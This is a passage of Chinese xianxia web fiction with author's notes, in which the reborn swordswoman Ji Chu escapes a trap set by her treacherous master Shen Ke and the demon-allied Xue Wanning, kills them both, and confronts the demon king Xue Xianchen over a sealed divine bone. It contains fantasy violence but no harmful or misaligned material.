沈恪将摆明了是在嘲讽她,如同栅栏中的花笼子里的鸟,永远也难以摆脱他的掌控。 纪楚握紧了剑,又急又恼,提剑重重砍向屏障。 然而这一剑却像是砍进了棉花里,寻真剑陷入其中,很快又被吐了出去,而面前的屏障上却一丝缺口也无。 与此同时,面前的屏障忽然开始扭曲变形,如水一般波动摇晃。 纪楚后退两步。 她身后漆黑一片的“墙壁”却忽然膨胀突出,两道坚硬的尖刺猝不及防间朝她刺来。 法器中间太黑,眼前又一直在晃动,纪楚无法正常视物,只能凭借着感知躲避。 很快她就发现,这些尖刺生出后便不会收缩,而是像栏杆一样在她身旁固定,她的活动范围越来越小。 屏障还在不断晃动,不知哪一块凸起就会忽然变成尖刺朝她攻来,直至将她逼到一个无法施展剑招的角落。 而这尖刺不知道是什么材质做的,坚硬无比,连寻真都砍不断,上面还带着许多细小的刺,边缘锋利,一碰就会见血。 眼看活动空间越来越少,不过一会儿的功夫,纪楚已经被众多尖刺架在中央,连动一动胳膊都成困难,更别提挥剑了。 头顶却再度刺下一根尖刺,直冲着她握剑的右手而来。 纪楚急忙将寻真剑收到剑符中,迅速躲开,后背一痛,似是开始冒血。 只差一点,屋顶那道尖刺堪堪擦着她手臂而过。 鲜血瞬间涌了出来。 她丝毫不敢放松,因为四面八方又瞬间涌上更多尖刺,根根直冲她的右手而来,几乎避无可避。 最可怕的是,她发现自己受伤的右手臂和后背似乎开始变得麻木。 只一个不慎,右肩膀便被斜向下重重刺入,尖刺自身前穿出,带出她一串血珠洒在地上。 纪楚被这一击的力道带着朝前一扑,“噗嗤”两声,身上又被钉穿。 她几乎像是标本一样被钉在原地,丝毫不能移动。 将她彻底封死以后,终于不再往外冒更多的刺了。 空气开始变得潮湿粘腻。 自法器四面的“墙壁”上生出水汽,逐渐凝结成浓黑色的水珠,而后又顺着屏障边缘左右流动 ,有的落到了地上,“滴答滴答”的声响沉闷粘腻,如同诅咒。 那水珠顺着刺进纪楚体内的尖刺自上而下流动,顷刻间便生出胶状的物体,流到哪里,便封锁住她哪里的经脉。 她这下子,是真成了盒子里的摆件,被这黑色的水柱粘牢粘实,彻底动弹不得。 为什么? 她在心里质问。 沈恪为什么要对她下这样的狠手? 这还是在宗门里,他怎么敢直接对她下手?! …… 不知过了多久,或许只是很短的一段时间,她忽然听见了外面的声音,像是雨滴砸在盒子上,发出清脆的声响。 “何必做到这个份儿上呢?” 薛晚凝的声音传来,带着柔柔的笑: “沈仙君若是心狠起来,可是比魔还要绝情啊……” “这不就是你想要的吗?” 沈恪冷冷道: “她经脉被封,右臂重伤,拿不起剑了,你和你的神,总可以放心了吧。” 薛晚凝轻笑道: “还不够。” 沈恪怒瞪向她: “不够?我们说好的,只要纪楚拿不起剑,你就留她一命!” “沈仙君急什么?” 薛晚凝素手一抬,指向悬鹤峰顶: “那上面有几个碍事的,已经被我阿弟除了。” “待我们请出神骨,魔气逸散,拂宇仙宗必会动荡,到那时,总要有人背上这个勾结魔族的罪名。” 她掩唇,轻笑: “沈仙君这样好的名声,又怎能留下这样的污点呢?” 沈恪不为所动: “与我何干?我只是教训弟子,从不知神骨被盗。” “你薛家识人不清,放纵魔物夺舍弟子,我身为修士,必为修真界除此祸害。” “哈哈哈哈哈哈……” 薛晚凝忍不住笑起来,被他这一番道貌岸然的话逗乐了: “沈仙君实在好算计。” “今日动手之人是魔王假扮的薛羡尘不错。” “只可惜,调走悬鹤峰守卫的,却是你沈恪本人的指令。” “纪楚假传仙君口令,勾结魔族,盗取神骨,被发现后又情急之下杀死同门好友。” “而沈仙君及时发现,将此宗门叛徒扣压,虽然下手狠了些,却也是为了宗门的安危,合情合理啊……” …… 纪楚浑身痛到发麻,外面的对话却一字一句无比清晰地传进她的耳朵。 “勾结魔族,盗取神骨,杀死同门好友……” 原来……如此。 她一直以为,前世沈恪伪造证据,一口咬定她勾结魔族,是因为薛晚凝回归,自己已经没有了利用价值。 而她倒霉,刚好行踪成疑,身带魔气,便被顺手除去。 却没想到,从一开始,他和薛晚凝就在算计她! 薛晚凝,她才是与末神合作、害死许盈的真凶! 而她之所以会来拂宇仙宗,就是为了替末神,解决掉自己这个预言中将会“二世弑神”的“弑神之人”! 他们要她众叛亲离,恶名缠身,再也拿不起弑神之剑,再也无法威胁末神! 纪楚气极痛极,反而想笑。 笑她前世蠢钝,竟一直以为,薛晚凝是被薛羡尘欺骗利用的无辜之人! 那她呢? 她背上背叛宗门的罪名,拼上性命也只是杀了薛羡尘,却将薛晚凝这个真正的幕后黑手留在拂宇仙宗—— 岂不是报仇无果,死不瞑目! 她怎么敢说自己死而无憾? 她又怎么甘心闭上眼睛等死? 许盈是因为她才会死的…… 她对不起许盈,对不起蒋成旭,也对不起赠她剑的陈梧…… 若这一世,他们依然会因她而死,甚至成为诬陷她的罪行之一,她又该怎么面对许盈,面对蒋成旭,面对陈梧,面对钟离白,以及——面对自己?! 她好恨…… 然而她越是强行调动灵力,经脉被封锁的就更快。 无能为力的感觉,像极了前世。 她看着面前的许盈和蒋成旭的尸体,感觉耳边所有的声音都化成了一声尖锐的长鸣。 质问、指责、谩骂,勾结魔族的污名加身。 她百口莫辩,自毁容颜,心如死灰之机,唯死路一条,再无他道。 …… 难道这真的是她命定的死劫,连着两世,无论怎么样都绕不开这样的结局吗? 不…… 她不能就这样算了…… 她还要救许盈,她还要和钟离白一起对抗末神,她还要等师兄回来…… 她这一世,凭什么还要变成那个什么都做不到、一切都来不及、任由他们摆布戏弄的纪楚?! …… 她压抑着自己的恨意,闭着眼,咬紧了牙关。 她整个人都在不自觉颤抖。 她要出去,她要亲眼看着这两个前世将她算计至死、这一世依然对她动手的人,看看他们死的时候,会不会和她前世一样绝望?! 纪楚深吸了一口气,握住尖刺,任由手掌指尖被划出一道道血口,指尖带血,在尖刺上画出符文。 她的经脉被粘住,这符文写的极为艰难,笔触断裂难连,每每画出一笔,就要回头重新描摹几遍,方才成形。 不过她倒是极有耐心,一次不成就多画几次,终于勉强描出个像样的符文。 以血封笔,效用更强。 符文落成的瞬间,卡在她手边的尖刺“咔嚓”一声断裂开来。 因着动静极小,没有引来更多的攻击。 纪楚的左手得以活动。 她面无表情,曲张手指,鲜血淅淅沥沥往下淌,但她却仿佛感觉不到痛楚一般,抬手按在穿透她右肩的尖刺上。 封她经脉,伤她右臂,不就是为了逼她无法用剑吗? 弑神之剑,弑神之人…… 呵。 末神当真如此害怕她吗? 害怕到连着两世,都要让薛晚凝和沈恪彻底毁了她,才敢在修真界露头。 那它可真是猜错了。 剑意无形,剑在心中。 用剑之人,从来不会被剑困住。 纵使右手握不住剑,她也不会成为沈恪想要的“槛花笼鹤”,不会像上辈子一样束手就擒,老老实实等着他们把罪名加在自己头上,老老实实给他们的末神让路! 她要出去,她要亲手杀了薛晚凝,杀了沈恪,杀了薛羡尘。 哪怕是死,她也要让这些害死许盈、害死她的人,全都魂飞魄散! 她眼里翻起汹涌的杀意。 而后两指并剑,在心里描摹出寻真剑的形状。 其身轻薄如流云,其刃尖锐可切风。 某种程度上来说,若她心中有剑,那她这个人本身,又何尝不是一柄剑呢? 她不需要在手中握着剑柄,便可知道剑身自哪里切入,剑尖自何处划过。 区区一个盒子,几根尖刺,又怎么可能困的住一柄剑呢? …… 剑光忽生。 分明无形,却远胜有形之剑,剑气所过之处,尖刺悉数断裂,连法器外围都被劈裂开一道口子。 “咔嚓咔嚓”的声音如同裂锦一般顺滑流畅,“墙壁”上汇聚到一起的黑色水珠如同铺开却又被生生撕裂的活物,疯狂地扭动挣扎。 纪楚拔出寻真剑,不用灵力,仅以剑招,奋力劈下。 下一刻,法器骤然破裂。 剑气窜出,连同沈恪设下的结界一起敲碎。 纪楚喘息着站起身,左手持剑,指向站在她面前的两个人,每一个字都带着浓浓的血腥气: “你们,该、死!”—— 作者有话说:不要急!下一章就报仇! 因为这里是前世的女主无意间错过的关键信息,也是导致她最终走上绝路的直接原因,所以这一次依然会有这一遭[爆哭]但是这一次她可以把两辈子的仇一起报了 评论发红包抚慰一下被伤到的心[狗头叼玫瑰] 第82章 雨滴顺着寻真剑流下,在地上聚起一潭红色的血水。 纪楚浑身上下都血,右肩的口子尤为严重,右手臂微微发抖,垂在身侧,还在不停往下流血。 沈恪和薛晚凝脸上有一瞬间的诧异,像是没想到她居然还能出来。 而后薛晚凝率先反应过来,转身的同时,手中出现一架银色古琴,右手轻抚,琴音悠扬,暗含杀意,直冲纪楚而来。 纪楚侧身躲开,剑气破空,右手扶着左手,一剑横劈,将琴音的攻击化解。 然后她不退反进,寻真剑发出沉闷剑鸣,似沙场鼓点,杀气凛然。 她要杀了他们,哪怕死,哪怕入魔,她也要拉着他们陪 葬! 薛晚凝察觉到她的杀意,抚琴的动作加快,琴音中的灵力在空气中结成密集的网,一边拦住纪楚,一边冲沈恪喊道: “你还不出手?若我死了,你也难逃叛魔罪名!” 沈恪沉下脸,双手接出法印,挡在薛晚凝前面。 纪楚丝毫不见害怕,右手在剑上一划,寻真剑饮她血而知她意,剑光忽然分作数道,似繁花缭乱,一部分继续切向薛晚凝,一部分则向着沈恪攻去。 “飞花掠影”剑法到底还是被她用的不伦不类,却竟然能和“繁光剑”混合,成了一种不够柔美、但足够快速凌厉的剑招。 再加上跟着孟喻辞长久练剑而拼出来的独有的狠戾,沈恪一时间竟无法讨得好处。 他本是法修,于剑术一途并不擅长。 本以为伤了纪楚右手,便可彻底让她用不了剑。 谁知却像是没有受伤一样,丝毫不见颓势。 他心下慌乱,一时露怯,竟叫纪楚在他胸前划出一道长长的口子。 沈恪吃痛后退几步,藏于他身后的薛晚凝便暴露出来。 剑光顷刻而至,幸而她躲闪及时,那剑刃只砍在她面前的琴上,琴弦瞬间崩断两根,手腕顿时被崩开一道寸长的口子,几乎可见森森白骨。 “真是疯了……” 薛晚凝面上惊疑不定,实在不知道纪楚已经被“槛花笼鹤”伤成那样,为何还能爆发出这样可怖的力量。 她匆忙后撤,纪楚却全然不给她存活之机,剑锋紧追不放。 薛晚凝慌乱之下重重一抚琴,魔气未经压抑瞬间暴出,直冲着纪楚打来。 这一下惊动了宗门中的其他人。 有巡逻的弟子飞快赶来,见纪楚浑身是血;而沈长老和薛晚凝也未曾好到哪里去,身上全是剑伤,一看便是纪楚所为。 他目光几经变化,最终压下心里的惊诧,冲在场地位最高的沈恪一行礼,问道: “见过沈长老,刚刚有魔气爆发,不知是什么情况……” 薛晚凝伸手指向纪楚,赶在沈恪来口前毫不犹豫道: “纪楚入魔,打伤我和沈仙君,快抓住她!” 纪楚握紧剑柄: “不是我!魔气是薛晚凝身上的!” “她与沈恪联手伤我,就是怕我告发他们伙同魔族盗取神骨,残害我宗门弟子!” “若不信,你们可探她神魂,必有端倪!” 与此同时,悬鹤峰顶轰隆一声,仿佛有什么东西碎裂,一股阴邪之气直冲云霄,霎那间引来数道雷鸣。 说句话的功夫,更多执律堂弟子赶来,见状惊呼: “悬鹤峰有异,快去禀报掌门!” 数道传讯符飞出的同时,有人转身回去通报掌门。 其余弟子面对着纪楚三人,一时间不知如何是好,只能将他们团团围住,面带疑虑。 薛晚凝自是不能叫人探她神魂,于是以袖掩唇,虚弱地轻咳一声,看向沈恪: “你就看着你的弟子,如此诬陷于我?” 沈恪看她几眼,清楚地从她眼睛里看出威胁: 你我现在是一条绳上的蚂蚱,纪楚如今被你重伤,恨你入骨,若她见到了诲元仙尊,将今日之事抖落出去,咱们两个都得死! 沈恪握拳,心中虽恨薛晚凝威胁他,却也知道若薛晚凝入魔一事暴露,自己更是难逃其咎。 于是他抬手一指纪楚,对赶来的弟子道: “纪楚入魔,罪不可赦,还不动手?!” 最先到的那位弟子一时有些拿不定主意。 他往日同纪楚也打过几次照面,知道她性子虽不算十分和善,但若说入魔,却也不怎么相信。 只是沈恪长老与薛晚凝勾结魔族盗取神骨,这就更加难以解决了,最好的办法,是将几人一起控制下来,等待掌门处理。 于是他对纪楚道: “纪师妹,若有冤情,可等掌门裁决。” 纪楚:“不能等!许盈还在上面!我们得去救他!” 那弟子摇头,似有不解: “许盈……她为何会在上面?” 他神色警惕,望向纪楚: “纪师妹,此事需得掌门裁决,你伤太重,还是不要再反抗的好。” 纪楚缓缓放下剑。 她的目光从一众弟子身上移向沈恪和薛晚凝。 她伤太重,若被阻拦,未必能一击即中。况且许盈他们还在危险之中,她得想办法借救人,她得亲眼看着许盈他们活下来。 …… 于是她强行压下杀人的欲望,对那领头弟子道: “我可以跟你们走,但悬鹤峰上尚有宗门弟子,他们是为了阻止魔族盗取神骨才陷入危险的,你们得去救人!” 那几个弟子面面相觑,没有人开口。 薛晚凝哼笑一声,火上浇油: “纪楚师妹,悬鹤峰可是禁地,你怎知上有神骨?毫无证据却试图骗大家上去,很难不令人怀疑你的动机啊?” 那弟子看了一眼纪楚,终于下定决心,道声“得罪”,便带着几个人围了上来。 纪楚后退一步,捏进了剑柄。 她心里最后一丝希望也破灭了。 又是这样…… 谁都不信她,谁都不肯相信她,所有人都在拦着她…… 前世是她不知情,去的太晚,没能救下许盈。 他们后来如何诬陷她,咒骂她,她都心如死灰,无力辩驳。 可这一世她已经足够小心,她已经说清楚了一切,为什么这些人还是不信她?竟然要她眼睁睁看着许盈遇害而不能救! 难道禁地,能比许盈的命重要吗?! 凭什么?! “你们不肯救人?” 她看了一眼围着她的人,冷冷道: “好,我自己去!” 说罢,她一剑横扫,将试图来抓她的人击飞,而后转身便朝悬鹤峰冲去。 “愣着干什么?还不拦住她!” 薛晚凝厉声道。 众人回过神来,急忙从地上爬起来,召出武器,朝着纪楚追去。 纪楚剑势狠戾,身形极快,那些弟子一时间竟拦不住她。 剑气破开雨幕,纪楚一边挥剑砍人,一边往嘴里塞灵丹,补充自己缺失的灵力。 然而被尖刺划伤的伤口却迟迟无法愈合,赶到悬鹤峰底的时候,她已浑身湿透,雨水混着血水流了一路。 某个瞬间她想着,干脆用师兄的剑符,将这些挡路的人碍事的人全杀了! 反正他们前世不就是这么对她的吗? 可下一刻,指尖碰到剑符,感受到上面凌厉却熟悉的剑气,她又动作一顿。 若是不分青红皂白杀了无辜之人,她又与魔物和末神,有什么区别? 她不能这样。 纵使旁人不相信她,她也不能不相信自己。 她不能伤害无辜的人,她不能因为别人的话就放弃自己。那才是遂了薛晚凝和末神的意! 纪楚脸色惨白,看着面前的悬鹤峰,收回手,一剑破开附近的雾气,果断朝前迈步走去。 领头那弟子犹豫片刻,紧随其后,一剑刺向纪楚。 两道剑气相撞,弟子佩剑断裂,寻真剑便架在了这弟子脖子上。 但寻真剑锋一顿,及时停在半空,并未伤及他性命。 纪楚横剑压着他,朝悬鹤峰台阶退去。 其他人投鼠忌器,一时也停了攻击,跟着纪楚朝悬鹤峰移动。 纪楚一手制着人,一手从储物袋里掏出几个灵丹,也不去辨认是什么,只一股脑塞进嘴里。 有人朝着主峰发出一道传讯符,然而却如石沉大海,久久不见回应。 被她抓住的弟子没想到纪楚会收手,虽然被挟制着,见她握剑的左手鲜血淋漓,知晓悬鹤峰的事八成确有其事。 但他身为执律堂弟子,守的是宗门法度,无论如何,都不能放任纪楚杀长老、闯禁地而不管。 于是他忍不住劝道: “纪楚,若许盈真有危险,你也该随我回去,先行禀报掌门,不能这样擅闯悬鹤 峰禁地。” “你们报了,可是来支援的人呢?难道要等许盈死了,再带人来收尸吗?” 她面色惨白,被雨水冲刷的如鬼一般,声音却极为冷漠。 这弟子面色为难: “长老们均在主峰议事,没有回应,我也没有办法……” 他话没说完,自不远处忽然冲出一道灵符,毫不留情,直直砸向他和纪楚的方向。 沈恪一出手便是杀招,显然是冲着纪楚的性命而来。 纪楚本就伤重,能闯出法器已是不易,又强撑着同沈恪和薛晚凝打斗,如今早已坚持不住。 况且方才一番混战,围攻她的弟子虽然修为不及沈恪,却胜在人多,她只能以左手用剑,伤上加伤,根本顶不住沈恪这一击。 而沈恪出手之时并未顾及被她挟制的这个弟子,摆明了,若能取她性命,误伤一人也不可惜。 这弟子一惊,没想到一惯光风霁月的沈长老竟会对弟子会下此狠手。 然而灵符已逼近他面前。 就在这时,纪楚忽然用力将他一推,他就地借力一滚,灵符擦着他身侧而去,直接砸进了纪楚体内。 纪楚身形一晃,跪在地上,吐出一口鲜血。 那弟子被其他人扶起来,面色有些惊惶,正待说话,薛晚凝忽的一笑,挥手抚琴,魔气瞬间暴涨,化做无数黑雾,将一众弟子瞬间绞杀。 沈恪一惊: “你——!” 薛晚凝柔柔一笑: “这会儿可不是你心软的时候。若不死上几个人,又怎能显出纪楚这魔物的凶残,以及你沈长老的不得已而为之呢?” 沈恪几下呼吸间变了脸色。 人已经死了,他再责怪薛晚凝也是无用。 况且这几个弟子似乎并不太信任他的话,若真到了掌门面前,未必给会给他作证。 于是他走上前,对着纪楚义正辞严道: “纪楚,你若仍执迷不悟,就莫怪我心狠,替宗门除了你这个叛徒。” 纪楚抬头看向他。 她亲眼看着薛晚凝动手却来不及救人,又见沈恪这番道貌岸然姿态,怒极痛极,反倒想笑。 她双目如星,分明狼狈至极,一双眼睛却似燃着的火焰,亮得惊人: “沈恪,难道我认罪,你就会放过我吗?” 沈恪只道: “你勾结魔物,残害同门,非是我不放过你,而是宗门律法不能放过你。” 纪楚冷笑一声,抬手擦了一下嘴边的血。 这是要当场给她定罪了。 她垂下头,看着手中传音玉闪烁不停,却迟迟不见有人应答。 许盈答应过她,一定会保持联系。 不回答,只能说明无法回答。 前世她是否也遇到了这样的困境,宗门长老竟是如此狡诈残忍之辈,弟子们拼命保护宗门神骨,最终却被自己人背叛,惨死于魔族手中…… 纪楚感觉自己经脉因过分透支而痛到极点,已经快要炸开,连灵丹也无法填补她在“槛花笼鹤”中被封住的灵力。 身后的悬鹤峰上乌云压顶,电闪雷鸣,一片漆黑。 许盈他们还在等她。 她不能停下,不能耽误时间。 …… 她更不能放过沈恪和薛晚凝。 沈恪等了半天不曾听见她回答,蹙眉上前,欲直接动手。 就在这时,纪楚忽然往嘴里塞了一把灵丹,而后抬头看向沈恪。 “师父,我曾经,真心敬仰过您。” “您救我性命,如天人下凡,我那时便在心中发誓,以后,一定要做一个如您这般,正义善良的修士。” 沈恪一愣,为她这句忽然软化下来的话而犹豫了一瞬。 他脑海中不自觉浮现起初见纪楚时的模样。 那时她那么小,那么瘦弱,他也曾真心想要保护她,照顾她…… 然而只是这一瞬间的晃神,纪楚望向他的双目就忽然变得极黑极暗。 衣袂飘飞似鬼魅,仿佛有千丝百影自她身后张开,蝶翼一般朝着沈恪包裹而来。 沈恪一惊,“千丝傀影”四字尚未出口,便感觉心口一疼,仿佛被无数根丝线扎了进去。 他急忙调用灵力去挡。 下一刻,纪楚指尖飘出更多透明丝线,如蛛网般密密匝匝,将他整个人都包裹起来。 千丝傀影是从纪楚神魂分割而来,她前世走投无路修炼无门,早将所有的希望都压在上面,只要中招,她便会彻底绞死对方,不会给他留丝毫空隙。 经脉堵死也无妨,前世的她早就习惯了这种感觉,肆意切割神魂,甚至觉得自在。 纵使是沈恪这样的修为,但凡流出一丝心智不坚的迹象,也会瞬间成为她手中亡魂。 沈恪的身体被她控制着后退半寸。 他的神魂开始失控,被纪楚挤压、切割、吸收。 纪楚眼侧流下一道血痕,很快被雨水冲散。 前世,她为什么要心灰意冷然后自毁容颜呢? 她看着沈恪,心里想着。 怎么被人污蔑被人抛弃,就能连自己都放弃自己了呢? 她从一开始就不该伤心绝望,自我放逐。 无论她做过什么没做过什么,想要害她的人,总会找到借口。 而她若是怕了,躲了,投降了,自己会死,相信她的人也会死! 她拿起剑,根本不该朝向自己,而是从一开始就应该对准这些伤害她的人! 邪术如何,宗门长老如何,沈恪又如何? 她才不怕这些虚伪虚假的名声! 她是什么人,她要做什么事,没有人比她自己更清楚! 她现在,要给自己前后两世的痛苦和绝望……做个了断! 纪楚看向沈恪: “你想要我的命,前世,我已经给过你一次。算是还了你的救命之恩。” “这一次,不会了。” 说罢,千丝傀影收紧,沈恪的神魂竟被她生生绞碎。 纪楚后退一步。 她用邪术越阶强行杀人,自己却无法吸纳对方的灵力和修为,神魂因而开始生出裂缝,剧痛让她几乎看不清眼前的场景。 但她心里却从未有过如此轻松。 好像缠绕她两辈子的重担一下子卸掉了似的。 薛晚凝见大势不好,转身便想逃跑。 千丝傀影如影随形紧追其后。 薛晚凝匆忙躲闪,还是被缠住了手腕,无法拨动琴弦。 于是她将断了弦的琴抛下,手中多出一把寸长玉笛,放于唇边,轻声吹动。 笛音与纪楚的千丝傀影抗衡一番,很快便显出颓势。 纪楚简直跟不要命一样,丝毫不担心自己神魂破碎遭到反噬。 又或者是太过坚定太过蛮横,既然决定要对他们动手,就绝对不考虑别的东西,一门心思只要他们的命。 薛晚凝却不然,她心里算计太多,一边和纪楚对峙着,一边还操心薛羡尘和神骨,更害怕自己就此失败,既不能沐浴末神荣光,也没能替神解决掉纪楚这个心腹大患。 一个音没吹准,叫纪楚发现了破绽。 千丝傀影瞬间沿着她的手腕攀附而上,缠住她的四肢和头颅。 她如同被蛛丝困住的猎物,眼睁睁看着纪楚走近,一剑横划,脖颈一凉,鲜血随机冒出。 死亡的前一刻,眼前是纪楚双目乌黑,面无表情的模样。 “前世今生,你只死一次,是你幸运。” 大雨倾盆而下。 纪楚不再看身后倒下的人影,缓缓转身,越过一地尸体,迈步而上。 寻真剑垂在身侧,剑尖划过台阶,溅起水珠,蜿蜒血痕一路蔓延而上—— 作者有话说:嘿嘿嘿[狗头叼玫瑰]又快月底了,蹲蹲快过期的营养液[狗头叼玫瑰] 第83章 整座悬鹤峰都被笼罩在邪气中。 结界破碎,寒潭下激起千层水花,一道黑影自寒潭下浮起,中心幽幽一点暗光,正是被封印在悬鹤峰下的神骨。 这块神骨比之前见过的都要特别,其上附着有特殊的邪气,似神似魔,让人望而生畏。 蒋成旭放下挡在许盈头上的手,和她一起看向漂浮在半空中的神骨。 “真的有神骨……” “不能让他带走神骨。” 许盈吐出一口血,看见蒋成旭手臂和后背上的伤口,急忙道: “你没事吧?” “我能有什么事?” 蒋成旭笑了一下,脸上的口子崩开朝外冒血,却依然用一副随性洒脱的语气说: “我去拦住他,你带着陈梧先走。” “你放什么屁?” 许盈用力擦了一把嘴角的血,凶巴巴道: “你伤成这样还能拦住谁?要死一起死!” 说完她故意不去看蒋成旭表情,转头看向躺在地上生死不知的陈梧,忍不住抱怨起来: “就是可惜了这个傻子,早说了让他别跟来别跟来,在家里等纪楚吃火锅不好吗?非要跟来!” 素来大大咧咧张扬明媚的人,声音头一次显得这么虚弱、这么伤心: “现在好了,还得多死一个人……” 蒋成旭抬手搭上她的肩膀,许盈用力,将他扶了起来,听见他说: “他不会死的,你也不会死的,我们都会活下去的。” “啪啪”两声,站在神骨下的薛羡尘忍不住鼓起掌来: “真是感人的一幕啊……” 许盈唰地抽出丹雨剑指向他: “薛羡尘!你这魔头,今日纵使我死了,你也休想带走神骨!” 薛羡尘对她的威胁不屑一顾: “许盈啊许盈,你知道自己最大的缺点是什么吗?你太蠢,明知有诈,还要往上冲……和纪楚一样。” 说到纪楚,他眼里闪过几分玩味的笑,看向陈梧身边被魔气砸碎的传音玉: “不,她还是比你聪明一点,知道这种时候,哪怕朋友有危险,也不能来这种地方……” “你这种垃圾,懂什么朋友?” 许盈“呸”了一声,推开蒋成旭,挥剑而上: “姑奶奶我最大的缺点,就是当初没一剑劈了你这个魔头!” 蒋成旭跟着她,一左一右包抄而上。 薛羡尘勾起嘴角不屑一笑,依然是那个俊俏小公子的模样,眉心却浮起鲜红魔印,两道魔气自他身后冲出。 许盈二人剑尖尚未触碰到他,便被魔气重重击飞。 蒋成旭直接吐出一口鲜血,怎么都站不起来。 只能眼睁睁看着半空中的神骨被魔气牵引着朝薛羡尘靠近。 “魔王……” 神骨恶念认出薛羡尘的身份: “也罢也罢,那孟喻辞不识抬举,有你这天生的魔,也是很好……” “就用这拂宇仙宗修士的血为祭,你我融合,成为与天同寿的魔神!” 薛羡尘又是一声冷笑: “几个修士的血怎么够?我要的,是整个六界!” 他一道魔气勒住神骨: “末神在哪?” 神骨恶念被孟喻辞那一剑重伤,挣脱不开他的魔气,闻言哈哈大笑: “魔王何必心急?待薛晚凝拿到纪楚的命,末神自会现世。” “你做梦!” 许盈怒极,以剑撑地,再度朝着薛羡尘和神骨攻来。 “我今日便先杀了你,再替宗门除了这邪物!” 然而她本就不是薛羡尘的对手,如今更是伤重难支,剑锋只擦着神骨而过,下一刻便被魔气提到了半空。 薛羡尘脸上露出不耐烦,对神骨说: “我要纪楚,我要留着她。其他人,你都可以选……便先从这个开始如何?” 他缓缓收紧手,许盈顿时挣扎起来。 蒋成旭挣扎着想要爬起来,却被魔气按在地上。 薛羡尘一抬手,魔气中浮现出一柄长剑,正是拂宇仙宗的弟子佩剑。 他在许盈脖子上比划着,目光却是看向蒋成旭,像是在欣赏他无能为力的样子。 神骨在半空旋转一圈,朝着他体内融合而去。 薛羡尘额前魔印越发鲜红,五官越发妖异。 忽然,他脸上的表情一僵,眼里的笑瞬间消失不见。 抓着许盈的魔气一松,许盈一下子摔在地上。 她捂着脖子,来不及清醒劫后余生,似有所感,猛得回头。 雨幕中忽然出现了一个人。 纪楚左手持剑,长发披散,脸色惨白,周身浴血,整个人仿佛被一团看不清的丝线笼罩着,宛如刚从地狱里爬出来的恶鬼。 寻真剑被她拖在地上,剑尖轻轻磕碰着台阶,剑刃撞散雨滴,发现清脆的声响。 剑身上的血水混着雨水直往下淌,在她身后蔓延出一道极长的红痕。 她双目泛着不祥的黯淡,再无往日明亮清澈,一眨眼,就有鲜血顺着她眼角流下。 然后她随意抖了抖寻真剑,努力从眼前的血红一片中辨认出不省人事的陈梧和满脸是血的许盈和蒋成旭。 看到他们还活着的同时,纪楚忍不住笑了一下,眼里却全无暖意,只是一片漆黑。 “我赶来了。” 她握着剑柄,也不知道是在对谁说的,声音飘忽,带着轻微的颤抖。 然后她又重复了一遍。 “我这次,赶来了。” * 看到纪楚的一瞬间,蒋成旭感觉自己拼死吊着的一口气终于坚持不住了。 他一下子躺平,任由自己泡在水里,抬手遮住自己的脸,控制不住地喘息。 许盈有些怀疑自己的眼睛: “纪楚……?你怎么来了?你怎么……你怎么伤成这样?” 她从地上爬起来,蹒跚着冲到纪楚身边,想要抱住她,却发现她身上没一个好地方,全是大的小的伤口。 许盈眼眶一酸,忍不住冲她喊道: “不是说了让你快跑吗?!我听到薛晚凝说要杀了你……纪楚,你不怎么不跑啊?你来这儿干什么啊?你看你伤成这样……” 她喊着喊着声音就变得哽咽: “……你干嘛还要过来啊……到底是谁把你伤成这样的啊……你告诉我,我去帮你杀了他……” “沈恪和薛晚凝。” 纪楚看向许盈: “不过你放心吧,他们再也伤不了我了。” 她笑了一下,像是平时炫耀自己又吃到了什么好吃的,但声音却被雨水冲刷成陌生的冷酷: “他们已经死了。” 许盈快要流出眼眶的泪水一顿: “什么?” 纪楚收回视线,剑尖指向薛羡尘: “现在……轮到你了。” 薛羡尘双目间萦绕着浓黑的魔气,将他秀丽的眉眼衬成阴郁模样。 这般看着,已全无修士的伪装,俨然是个魔了。 “你杀了阿姐?” 纪楚歪了歪头,并不回答他的问题。 下一刻,她手中寻真剑忽然一晃,剑尖似散开的丝线,仿佛已不再是一柄剑的形状,但剑势却丝毫不曾消减,反而化作千丝万缕的剑气,直冲薛羡尘而来。 “千丝傀影?!” 蒋成旭认出来,不禁惊呼出声: “纪楚怎么会这种邪术?她就是这种邪术杀了沈长老的吗?怎么可能……” 许盈一手把他从水潭里拽出来: “什么邪不邪的,沈恪把纪楚伤成这样,便是她不动手,我也要杀了他!” 便是这片刻时间里,纪楚已经和薛羡尘的魔气缠斗在一起。 她将自己当做一柄剑,而神魂又被她分做万千傀影丝,已经很难用剑、或者是邪术来定义她的招式。 薛羡尘尚未与神骨完全融合,又因得知薛晚凝之死而震惊,一时竟占不到半点便宜。 “你怎么可能杀得了我阿姐?” 魔气成爪,按住纪楚受伤的肩膀,薛羡尘双目赤红: “你怎么敢?!” 纪楚吃痛,却并不躲闪,一剑捅进他腹部,傀影丝倏忽自剑上钻出,朝着他五脏六腑延伸而去,牢牢缠住他的心脏,连同那块融合了 一半的神骨。 薛羡尘脸色立时变得青白,魔纹不受控制地爬上他的脸。 但他到底不是薛羡尘本人,只是寄居在这具身体的魔魂。 便是躯体受控,他的魔气也不会消散,瞬间将纪楚笼罩起来。 许盈和蒋成旭急忙想上前救人,却被纪楚甩出一道符咒笼罩起来。 他们只能看着蒋成旭和纪楚完全被魔气淹没。 “阿楚,许久不见,你竟还是如此天真。” 薛羡尘露出个笑来,一如两人还未撕破脸时: “你杀不了我,相反,你杀了沈恪,修真界定容不下你。” 他伸手,想要摸纪楚的脸: “我可以不计较你杀阿姐一事,只要你同我离开,你我一起,融了神骨,这六界,便在我们掌控之中。” 纪楚面无表情地看着他,傀影丝箍住他的手指,深入皮肉,甚至可见其下森白指骨: “我当你整日阿姐阿姐,应是情深,没想到你竟能说出不计较的话。” 薛羡尘嗤笑一声: “这就是魔。便是我今日死在这儿,阿姐也不会有多心疼。” “更何况,阿姐只想拿你的命奉迎末神,那是她蠢!” 他看了一眼腹部的剑,眼里透出癫狂的笑意: “如今神骨已在我手上,你也在我手上!便是末神,也不能奈我何!” 纪楚摇了摇头,毫不客气道: “你自诩聪明,其实也是个蠢蛋。你真以为,末神和薛晚凝在乎的,是这块神骨吗?” 薛羡尘脸色一变: “你什么意思?” 纪楚伸手,一把抓住薛羡尘体内的神骨,感受着邪气的挣扎和神骨恶念的怒吼,和前世一样,将其硬生生扯了出来。 她手上全是薛羡尘体内的血。 傀影丝一松,承受了挖心碎肺之痛的薛羡尘顿时坚持不住,一下子跪到了地上。 魔气散开几分,许盈和蒋成旭看见纪楚站在一片黑暗中,神骨将她的脸色映得越发诡谲。 